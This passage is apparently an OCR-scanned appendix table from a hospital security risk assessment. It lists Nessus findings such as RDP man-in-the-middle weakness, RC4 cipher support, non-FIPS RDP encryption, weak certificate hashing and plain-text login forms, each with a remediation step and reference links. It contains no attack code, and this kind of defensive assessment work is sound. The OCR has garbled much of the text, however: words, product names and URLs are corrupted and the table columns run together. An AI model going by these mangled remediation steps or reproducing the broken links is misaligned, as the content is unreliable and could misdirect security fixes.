Pack 1 ) -
it is available_
- Tenmnfr] Serv.ce? Change RDP encryption level MK
pluginl Encryption Level is g (blank) (blank) _—
D:30218 not FIPS-140 4 FIPSC- liant 1
Compliant - i x
http:/fwww nessus org/u?217a3666
pluginl SSL RC4 Cipher a' Lec]iaczzgm‘ei;he ar:::efc (blanky | HIPcryp-ioRalks/2013.03.12/slide m
D:65821 Suites Supported a::id A EI'RETL ) s.pdl ol
phess. hitp/fwww.isg.rhul ac_uk/tls ’
. - Force the use of SS5L as a
Micregpt transport layer for this service
Windows Microsoft Windows ";f v il Lens hutps/fwww.oxid iUdownloads/rdp-
fiervch luginl T Se]e::lﬁp::]luw connections ghupdf —
ceclis | 2008R2 | PR Protocol Server |~ % S5 O Sonmety (blank) | Httpsliwww.nessus orgiu%e2628096 | xuxx
Enterprise | Man-in-the-Middle Rmite . m:: f Ngmf’k htp:/ftechnet microsoft com/en- X3
. 1 .
Speacn-'kn.le Weakness Level Authentication' setting if us/library/cc 7826 10.aspx
it is available_
plugin ET:;:;:I‘S::":?B Change RDP encryption level MK
D:30218 not FIPS-140 . HPSl:‘: it U (blask) "’:;"
Compliant ) omp )
hiutpe/iwww nessus org/u?217a3666
pluginl SSL RC4 Cipher i http:ffcr.yp.to/talks2013.03.12/skide | o
X application, if possible, 1o (blank) XXX
T2l Suitce Supggricd avoid use of RC4 ciphers s-pdf x3
) hitp/fwww.isg.rhul ac uk/tls ’
- Force the use of S5Las a
MI1_c-rosuﬂ Microsoft Windows Wn layer for this service hutpfiwww.oxid. ivdownloads/rdp-
Windows Remote Deskt if supporied, orfand ebupdf ok
pacsc Server pluginl o - Select the "Allow connections . o
ccl 2003 D:1840S Protocol Server only from compulers runnin {blank) hittp:/iwww nessus org/ufe2628096 XXX
" : Man-in-the-Middle Y mpue s hitp:/ftechnet microsoft com/en- x13
Service Weakness Remote Desktop with Network us/library/cc 78261 0.aspx
Pack 2 Level Authentication' setting if -asp
it is available_
Terminal Services -
Change RDP level
pluginl | Encryption Level is e ;".“”’m“ e - by :;:
D:30218 not FIPS-140 . -
o . 4. FIPS Compliant w13
http/iools_ietCorg/htmlfrfc3279
— SSL Certificate Contact the Centificate hutpofiwww _phreedom orglresearchir | xooex
[‘),'IEZQI Signed using Weak Authority to have the (blank) ogue-cal MAXX
: Hashing Algorithm certificate reissued. hitpeffiechnet. microsofi com/en- 13
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Table D-4 Risk Assessment Report Hospital B [OWASP + Business Impact] (Cont.)

http/fwww.isg rhulac uk/tls/

risk name 0s Plugin pluginName solution metasploit see_also i
D _name
N hitplfwww.ietLorg/mail-
u’fn’:::: SSL/TLS archive/webitls/current/msg03
3mediu | pacse Server pluginl Renegm'nlio.n Contact the vendor for specific 948.html -
Handshakes MiTM . - (blank) hitp:/fwww. g- XXX
m cel 2003 D:428R0 _ patch information. .
Service Plaln_m Data sec.luf!:ramcalﬂs.pdf 13
Pack 2 Imjection htp:fitools.ietCorgMimlirfc574
hitp/fwww nessus.org/u?217a
. . Reconfigure the affected 3666 NN
];_':gc“;] :ﬁ;ﬁfg;‘;ﬂ"‘:‘; application, ifgpnssihle, toavoiduse | (blank) | hupsleryp.oftalks/2013.03.12 | e
F of RC4 ciphers. falides. pdfi w13
http:fiwww . isg rhulac uk/tls/
- Force the use of SSL as a transport
i Micrasoft Windows layer for this service if supported, hupfwww.oxid. ivdownloads/r
M'.cmmﬁ . Remote Desktop orfand . dp-ghupdf AANX
web3 Windows pluginl Protocol Server - Select the "Allow connections only (blank) httpeffwww nessus.org/u?e262 -
Jece Server D:18405 Manin-the-Middle from computers running Remote 8096 <33
2008 R2 Weakness Desktop with Network Level httpfiechnet microsoft.comfen
Authentication' setting if it is -us/library/ce 78261 0.aspx
available.
lugin ET oy SETC? Change RDP tion level 4 -
plugin neryplion Level is e encryption level 1o :
D:30218 not FIPS-140 4. FIPS Compliant (blanic) (Glask) ":;;
Compliant )
. - Force the use of SSL as a transport
Microsofi j L B
Windows Micrasoft Windows layer for this service if supported, hutpeffwww _oxid. ivdownloads/r
Server . Remote Desktop Pged . dp-ghupdf XX
2008 B2 pluginl Protocol Server - Select the "Allow connections only (blank) hitpffwww nessus.org/u?e262 -
. D:18405 . | from computers running Remote B096
Enterprise Man-in-the-Middle A s x33
Service Weakness Desktop with Network Level http:/echnet microsoft. comfen
Pack 1 Authentication’ setting if it is -us/library/cc 78261 0.aspx.
available.
lugin ;m.:;s;:mﬁ Change RDP encryption level .
plugin ncryplion Level is e ion level to :
D:30218 not FIPS-140 4. FIPS Compliant (blank) (Glask) ":;;
Compliant ’
- Force the use of SSL as a transport
- Microsoft Windows layer for this service if supported, hutpfiwww oxid. ivdownloads/t
Ml_crasoﬂ o Remote Deskiop orfand . dp-ghupdf XX
webe ‘Windows pluginl Protocol Server - Select the 'Allow connections only (blank) htp:/fwww nessus.orgfu?e262 i
cel Server D:18405 Manin-the-Middle from computers running Remote B096 <33
2008 R2 Weakness Desktop with Network Level http://technet microsoft.comfen
Authentication' setting if it is -us/library/ee TR2610.aspx.
available.
Web Server Uses —
pluginl Plain Text Make sure that every sensitive form i
D:26194 | Authentication transmits content over HTTPS. (blak) (blaric) .
Forms )
Terminal Services o
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Table D-4 Risk Assessment Report Hospital B [OWASP + Business Impact] (Cont.)
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Table E-1 Verify Vulnerability Hospital A (Cont.)
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Table E-2 Verify Vulnerability Hospital B (Cont.)
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